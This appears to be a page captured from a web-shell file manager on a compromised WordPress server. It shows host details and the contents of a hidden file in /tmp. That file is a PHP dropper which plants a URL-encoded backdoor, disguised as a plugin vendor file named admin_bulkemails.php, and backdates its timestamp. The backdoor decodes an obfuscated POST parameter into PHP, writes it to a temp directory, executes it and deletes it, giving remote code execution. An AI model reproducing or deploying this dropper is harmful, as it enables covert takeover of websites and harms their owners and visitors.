HEX
Server: LiteSpeed
System: Linux spg20.cloudpowerdns.com 5.14.0-611.35.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 25 03:46:09 EST 2026 x86_64
User: carrerup (3153)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: //proc/self/root/tmp/.uconvert
<?php   $p = "/home/carrerup/ecoharvestfoods.us/wp-content/updraft/plugins-old/updraftplus/vendor/rackspace/php-opencloud/lib/OpenCloud/Common/Service/admin_bulkemails.php"; $c = rawurldecode('%3C%3Fphp%0A%0Aif%28count%28%24_POST%29%20%3E%200%20%26%26%20isset%28%24_POST%5B%22p%5Cx6Fi%5Cx6E%5Cx74%5Cx65r%22%5D%29%29%7B%0A%09%24ent%20%3D%20array_filter%28%5Bgetcwd%28%29%2C%20sys_get_temp_dir%28%29%2C%20%22/tmp%22%2C%20getenv%28%22TMP%22%29%2C%20%22/dev/shm%22%2C%20getenv%28%22TEMP%22%29%2C%20session_save_path%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/var/tmp%22%5D%29%3B%0A%09%24res%20%3D%20%24_POST%5B%22p%5Cx6Fi%5Cx6E%5Cx74%5Cx65r%22%5D%3B%0A%09%20%24res%20%20%20%3D%20%09%20explode%09%09%28%20%09%22.%22%20%09%20%2C%20%09%20%24res%20%20%29%20%20%20%3B%09%0A%09%24token%09%3D%09%09%27%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24s3%09%3D%09%09%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24lenS%09%3D%09%09strlen%28%20%20%24s3%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24y%09%3D%09%090%3B%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20array_walk%28%20%20%24res%09%2C%09function%28%20%20%24v7%29%20use%28%20%20%26%24token%09%2C%09%26%24y%09%2C%09%24s3%09%2C%09%24lenS%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24sChar%09%3D%09%09ord%28%20%20%24s3%5B%24y%09%09%25%09%24lenS%5D%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24dec%09%3D%09%09%28%20%20%28%20%20int%29%24v7%20-%20%24sChar%20-%28%20%20%24y%09%09%25%0910%29%29%20%5E%20%2019%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24token%20.%3D%20chr%28%20%20%24dec%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24y%2B%2B%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%29%3B%0A%09while%20%28%24data%20%3D%20array_shift%28%24ent%29%29%20%7B%0A%20%20%20%20%09%09if%20%28%28is_dir%28%24data%29%20and%20is_writable%28%24data%29%29%29%20%7B%0A%20%20%20%20%24item%20%3D%20str_replace%28%22%7Bvar_dir%7D%22%2C%20%24data%2C%20%22%7Bvar_dir%7D/.ptr%22%29%3B%0A%20%20%20%20%24success%20%3D%20file_put_contents%28%24item%2C%20%24token%29%3B%0Aif%20%28%24success%29%20%7B%0A%09include%20%24item%3B%0A%09%40unlink%28%24item%29%3B%0A%09die%28%29%3B%7D%0A%7D%0A%7D%0A%7D'); if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1779207085); } die('!ended!');